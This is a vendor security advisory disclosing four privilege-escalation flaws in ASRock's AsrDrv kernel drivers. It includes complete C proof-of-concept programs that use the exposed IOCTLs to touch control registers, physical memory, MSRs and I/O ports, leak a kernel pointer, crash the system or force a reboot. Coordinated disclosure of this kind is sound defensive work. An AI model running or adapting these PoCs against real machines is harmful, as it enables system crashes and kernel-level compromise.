1. Advisory Information

Title: ASRock Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2018-0005
Advisory URL: http://www.secureauth.com/labs/advisories/asrock-drivers-elevation-privilege-vulnerabilities
Date published: 2018-10-25
Date of last update: 2018-10-25
Vendors contacted: ASRock
Release mode: Coordinated release

2. Vulnerability Information

Class: Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-10709, CVE-2018-10710, CVE-2018-10711, CVE-2018-10712

3. Vulnerability Description

ASRock's website states that [1]:

ASRock Inc. is established in 2002, specialized in the field of motherboards. With the 3C design concept, Creativity, Consideration, Cost-effectiveness, the company explores the limit of motherboards manufacturing while paying attention on the eco issue at the same time, developing products with the consideration of eco-friendly concept. ASRock has been growing fast and become world third largest motherboard brand with headquarter in Taipei, Taiwan and branches in Europe and the USA.

ASRock offers several utilities designed to give the user with an ASRock motherboard more control over certain settings and functions. These utilities include various features like the RGB LED control, hardware monitor, fan controls, and overclocking/voltage options.

Multiple vulnerabilities were found in AsrDrv101.sys and AsrDrv102.sys low level drivers, installed by ASRock RGBLED and other ASRock branded utilities, which could allow a local attacker to elevate privileges.

4. Vulnerable Packages

  • ASRock RGBLED before v1.0.35.1
  • A-Tuning before v3.0.210
  • F-Stream before v3.0.210
  • RestartToUEFI before v1.0.6.2

5. Vendor Information, Solutions and Workarounds

ASRock published the following fixed applications for each of its motherboards models:

  • ASRock RGBLED v1.0.36
  • A-Tuning v3.0.216
  • F-Stream v3.0.216
  • RestartToUEFI v1.0.7

Downloads are available on the ASRock website.

6. Credits

These vulnerabilities were discovered and researched by Diego Juarez. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team.

7. Technical Description / Proof of Concept Code

ASRock's RBGLED, A-Tuning, F-Stream, RestartToUEFI, and possibly others, use a low level driver to program and query the status on embedded ICs on their hardware. Fan curves, clock frequencies, LED colors, thermal performance, and other user customizable properties and monitoring functionality are exposed to applications through this low level kernel driver.

The main subjects of this advisory are the device drivers installed/loaded by these utilities (AsrDrv101.sys and ArsDrv102.sys). From now on addressed as "AsrDrv". Default installation allows non-privileged user processes (even running at LOW INTEGRITY) to get a HANDLE and issue IOCTL codes to the driver.

The following sections describe the problems found.

7.1. CR register access

[CVE-2018-10709] AsrDrv exposes functionality to read and write CR register values. This could be leveraged in a number of ways to ultimately run code with elevated privileges.

// Asrock RGBLED PoC demonstrating non-privileged access to CR registers

#include <windows.h>
#include <stdio.h>

#define IOCTL_ASROCK_READCR 0x22286C
#define IOCTL_ASROCK_WRITECR 0x222870

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASROCK_CR_STRUCT {
	ULONG64 reg;
	ULONG64 value;
} ASROCK_CR_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
	ULONG64 outbuffer[2] = { 0 };	\
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return outbuffer[1];	\

ULONG64 ASROCK_ReadCR(DWORD reg)
{
	ASROCK_CR_STRUCT  inbuffer = { 3, 0};
	IOCTLMACRO(IOCTL_ASROCK_READCR, 10)
}

ULONG64 ASROCK_WriteCR(DWORD reg, ULONG64 value)
{
	ASROCK_CR_STRUCT  inbuffer = { reg, value};
	IOCTLMACRO(IOCTL_ASROCK_WRITECR, 10)
}

BOOL InitDriver()
{
	char szDeviceName[] = "\\\\.\\AsrDrv101";
	ghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (ghDriver == INVALID_HANDLE_VALUE) {
		printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceName, GetLastError());
		return FALSE;
	}
	return TRUE;
}

int main(int argc, char* argv[])
{
	printf("Asrock RGBLED PoC (CR access) - pnx!/CORE\n");

	if (!InitDriver()) {
		printf("InitDriver failed! - aborting...\n");
		exit(0);
	}

	ULONG64 a = ASROCK_ReadCR(3);
	printf("CR3 (PageDir): %llx\n", a);
	printf("press ENTER for instant system CRASH\n");
	getchar();

	a = ASROCK_WriteCR(3, 0xffff1111ffff2222);

	CloseHandle(ghDriver);
}

7.2. Arbitrary physical memory read/write

[CVE-2018-10710] AsrDrv's IOCTL code 0x22280C exposes a functionality to read and write arbitrary physical memory, this could be leveraged by a local attacker to elevate privileges.

Proof of Concept:

// Asrock RGBLED PoC (arbitrary physical memory write)
// This PoC demonstrates arbitrary write to physical memory.

#include <windows.h>
#include <stdio.h>

#define IOCTL_ASROCK_WRITEPH 0x22280C

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASROCK_PH_STRUCT {
	ULONG64 destPhysical;
	DWORD size;
	DWORD unk0;
	ULONG64 src;
} ASROCK_PH_STRUCT;

#pragma pack(pop)

BOOL ASROCK_ph_memcpy(ULONG64 dest, ULONG64 src, DWORD size)
{
	ASROCK_PH_STRUCT mystructIn = { dest, size, 0, src};

	BYTE outbuffer[0x30] = { 0 };

	DWORD returned = 0;
	DeviceIoControl(ghDriver, IOCTL_ASROCK_WRITEPH, (LPVOID)&mystructIn, sizeof(mystructIn), (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);
	if (returned) {
		return TRUE;
	}
	return FALSE;
}

BOOL InitDriver()
{
	char szDeviceName[] = "\\\\.\\AsrDrv101";
	ghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (ghDriver == INVALID_HANDLE_VALUE) {
		printf("Cannot get handle to driver \'%s\'- GetLastError:%d\n", szDeviceName, GetLastError());
		return FALSE;
	}
	return TRUE;
}

int main(int argc, char * argv[])
{
	printf("Asrock RGBLED PoC (arbitrary physical memory write) - pnx!/CORE\n");
	if (!InitDriver()) {
		exit(0);
	}

	printf("press ENTER for SYSTEM CRASH\n");
	getchar();
	ULONG64 data = 0xFFFF1111FFFF2222;
	for (unsigned int i = 0; i < 0xffffffff; i += 0x1000) {
		printf(".");
		ASROCK_ph_memcpy(i, (ULONG64)&data, 8);
	}

	CloseHandle(ghDriver);
	return 0;
}

7.3. MSR Register access

[CVE-2018-10711] AsrDrv exposes functionality to read and write Machine Specific Registers (MSRs). This could be leveraged to execute arbitrary ring-0 code.

Proof of Concept:

// Asrock RGBLED PoC demonstrating non-privileged access to MSR registers

// This PoC demonstrates non privileged MSR access by reading 
// IA32_LSTAR value (leaks a kernel function pointer bypassing KASLR)
// and then writing garbage to it (instant BSOD!)

#include <windows.h>
#include <stdio.h>

#define IOCTL_ASROCK_RDMSR 0x222848
#define IOCTL_ASROCK_WRMSR 0x22284C

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASROCK_MSRIO_STRUCT {
	ULONG64 valLO;			// 
	DWORD reg;			// 
	ULONG64 valHI;		// 
} ASROCK_MSRIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
	ASROCK_MSRIO_STRUCT outbuffer = { 0 };\
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)&outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return (outbuffer.valHI<<0x20 | outbuffer.valLO);	\

ULONG64 GIO_RDMSR(DWORD reg)
{
	ASROCK_MSRIO_STRUCT inbuffer = { 0, reg };
	IOCTLMACRO(IOCTL_ASROCK_RDMSR, 20)
}

ULONG64 GIO_WRMSR(DWORD reg, ULONG64 value)
{
	ASROCK_MSRIO_STRUCT inbuffer = { value & 0xffffffff, reg, (value & 0xffffffff00000000)>>0x20 };
	IOCTLMACRO(IOCTL_ASROCK_WRMSR, 20)
}

BOOL InitDriver()
{
	char szDeviceName[] = "\\\\.\\AsrDrv101";
	ghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (ghDriver == INVALID_HANDLE_VALUE) {
		printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceName, GetLastError());
		return FALSE;
	}
	return TRUE;
}

int main(int argc, char * argv[])
{
	printf("Asrock RGBLED PoC (MSR access) - pnx!/CORE\n");
	
	if (!InitDriver()) {
		printf("InitDriver failed! - aborting...\n");
		exit(0);
	}

	ULONG64 a = GIO_RDMSR(0xC0000082);
	printf("IA322_LSTAR: %llx (nt!KiSystemCall64)\n", a);
	printf("press ENTER for instant BSOD\n");
	getchar();

	a = GIO_WRMSR(0xC0000082, 0xffff1111ffff2222);
	return (int)CloseHandle(ghDriver);
}

7.4. Port mapped I/O access

[CVE-2018-10712] AsrDrv exposes functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.

// Asrock RGBLED PoC demonstrating non-privileged access to IO ports

#include <windows.h>
#include <stdio.h>

#define IOCTL_ASROCK_PORTREADB 0x222810
#define IOCTL_ASROCK_PORTWRITEB 0x222814

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASROCK_CR_STRUCT {
	DWORD port;
	ULONG64 value;
} ASROCK_CR_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
	BYTE outbuffer[0x10] = { 0 };	\
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return outbuffer[1];	\

BYTE ASROCK_ReadPortB(DWORD port)
{
	ASROCK_CR_STRUCT  inbuffer = { port, 0};
	IOCTLMACRO(IOCTL_ASROCK_PORTREADB, 10)
}

BYTE ASROCK_WritePortB(DWORD port, ULONG64 value)
{
	ASROCK_CR_STRUCT  inbuffer = { port, value};
	IOCTLMACRO(IOCTL_ASROCK_PORTWRITEB, 10)
}

void Reboot()
{
	BYTE cf9 = ASROCK_ReadPortB(0xcf9) & ~0x6;
	ASROCK_WritePortB(0xcf9, cf9 | 2);
	Sleep(50);
	ASROCK_WritePortB(0xcf9, cf9 | 0xe);
	Sleep(50);
}

BOOL InitDriver()
{
	char szDeviceName[] = "\\\\.\\AsrDrv101";
	ghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (ghDriver == INVALID_HANDLE_VALUE) {
		printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceName, GetLastError());
		return FALSE;
	}
	return TRUE;
}

int main(int argc, char * argv[])
{
	printf("Asrock RGBLED PoC (PMIO access) - pnx!/CORE\n");

	if (!InitDriver()) {
		printf("InitDriver failed! - aborting...\n");
		exit(0);
	}

	Reboot();
	return (int)CloseHandle(ghDriver);
}

8. Report Timeline

  • 2018-03-12: SecureAuth sent an initial notification to ASRock America Support.
  • 2018-03-13: ASRock confirmed the receipt and requested additional information in order to send it to its HQ.
  • 2018-03-13: SecureAuth answered saying that a draft advisory has been written, including a technical description, and requested for PGP keys in order to send it encrypted.
  • 2018-03-14: ASRock answered asking for the advisory in clear text.
  • 2018-03-14: SecureAuth sent the draft advisory to ASRock in clear text form.
  • 2018-03-14: ASRock confirmed the receipt and informed they would submit it to the HQ for validation.
  • 2018-03-23: SecureAuth requested a status update on the case.
  • 2018-03-23: ASRock answered saying they didn't have a reply from HQ.
  • 2018-03-26: ASRock notified SecureAuth they were still checking the reported vulnerabilities and requested additional time.
  • 2018-03-27: SecureAuth thanked the status update and informed ASRock that would be in contact the following week.
  • 2018-03-28: ASRock informed SecureAuth they checked the reported vulnerabilities and they would have a preliminary schedule for the fix at the end of April.
  • 2018-03-28: SecureAuth thanked ASRock's reply.
  • 2018-04-20: ASRock notified that the driver was modified and sent to SecureAuth the fixed applications and requested for a feedback.
  • 2018-04-23: SecureAuth acknowledged the reception of the fixed applications.
  • 2018-05-09: SecureAuth tested the modified driver and verified that the issues detailed in the proofs of concept were solved. For that reason, SecureAuth propose release date to be May 23rd.
  • 2018-05-09: ASRock thanked SecureAuth's update and forwarded the proposal to its HQ for a confirmation.
  • 2018-05-15: ASRock notified SecureAuth that they were going to deploy the new driver architecture into each ASRock utility. For the whole project, ASRock estimated to finish by the end of June.
  • 2018-05-15: SecureAuth thanked ASRock's update and asked if ASRock had planned to release a security note.
  • 2018-05-23: ASRock informed that each utility would include a release note with a security description.
  • 2018-06-15: SecureAuth requested ASRock a status update about its timescale.
  • 2018-06-09: ASRock forwarded the request to its HQ.
  • 2018-06-19: ASRock informed that they had started to upload the fixed drivers for one of the supported motherboard series and they were going to continue uploading the drivers for other models.
  • 2018-07-11: SecureAuth requested ASRock a status update.
  • 2018-07-11: ASRock replied saying they were still working on the upload process.
  • 2018-08-06: SecureAuth requested ASRock a new status update.
  • 2018-08-16: ASRock notified SecureAuth they had finished with the update process.
  • 2018-10-17: SecureAuth set October 25th as the publication date.
  • 2018-10-25: Advisory CORE-2018-0005 published.

9. References

[1] http://www.asrock.com/

10. About SecureAuth Labs

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at http://www.secureauth.com.

11. About SecureAuth

SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, identity governance, and penetration testing, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth's highly flexible Identity Security Automation (ISA) platform makes it easier for organizations to prevent the misuse of credentials and exponentially reduce the enterprise threat surface. To learn more, visit www.secureauth.com, call (949) 777-6959, or email us at info@secureauth.com

12. Disclaimer

The contents of this advisory are copyright (c) 2018 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/